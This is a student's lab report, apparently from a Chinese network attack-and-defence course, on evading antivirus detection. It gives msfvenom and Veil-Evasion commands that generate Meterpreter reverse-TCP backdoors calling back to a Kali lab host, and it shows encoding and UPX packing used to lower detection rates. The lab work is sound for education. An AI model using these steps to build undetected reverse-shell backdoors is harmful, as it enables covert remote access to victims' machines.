20155318 《网络攻防》Exp3 免杀原理与实践
基础问题
- 杀软是如何检测出恶意代码的?
- 基于特征来检测:恶意代码中一般会有一段有较明显特征的代码也就是特征码,如果杀毒软件检测到有程序包含的特征码与其特征码库的代码相匹配,就会把该程序当作恶意软件。
- 基于行为来检测:通过对恶意代码的观察、研究,有一些行为是恶意代码的共同行为,而且比较特殊。所以当一个程序在运行时,杀毒软件会监视其行为,如果发现了这种特殊的行为,则会把它当成恶意软件。
- 免杀是做什么?
- 避免被杀毒软件或管理员发现并删除的恶意代码、软件、木马等
- 免杀的基本方法有哪些?
- 修改特征码、加壳、再编译、修改行为
实践过程记录
使用msf生成后门程序的检测
-
使用上周实验时产生的后门文件放在virscan.org中进行扫描,扫描结果如下:
-
-
-
编码一次进行扫描的结果
-
-
编码十次的结果
-
-
-
可看出即使是编码了10遍,但几乎没有效果…
使用veil-evasion生成后门程序的检测
-
安装Veil-Evasion(用老师的虚拟机完成)
-
依次输入命令
use c/meterpreter/rev_tcp
设置payload,输入命令set LHOST 192.168.217.132
设置反弹连接IP(此IP为kali机的IP地址),输入命令set LPORT 5318
设置反弹端口5318,输入命令generate
生成程序,最后输入后门程序名称即可,即可下图为生成的后门程序payload_5318 -
-
在路径/var/lib/veil-evasion/output/compiled下找到程序
-
-
进行扫描看看结果
-
利用shellcode编写后门程序的检测
-
使用msf生成一个C语言格式的shellcode,即输入指令msfvenom -p windows/meterpreter/reverse_tcp LHOST=攻击者IP LPORT=443 -f c
(其中,LHOST输入kali机的地址,LPORT输入自己的学号)后进行编译 -
-
把以上数组的内容写入5318.C文件里,编文件生成可执行文件
-
-
进行扫描看看结果
-
加壳
-
upx是一种压缩程序,可以实现加壳的功能,该指令加壳的命令格式:
upx #需要加壳的文件名 -o #加壳后的文件名
-
-
可以看出还是可以发现有木马,但时发现的比例已经低了许多
-
-
将后门拷至主机后通过免杀
-
实践总结与体会
这次试验让我们认识到安全防范的重要性,恶意代码很容易伪装自己逃过杀毒软件的监控,我们应该更加重视信息安全的重要性,经常更新杀毒软件。
- 离实战还缺些什么技术或步骤?
- 现在实验的后门都是靠手动植入的……离实战还有很长的路要走,今后希望能够学习后门伪装的方法。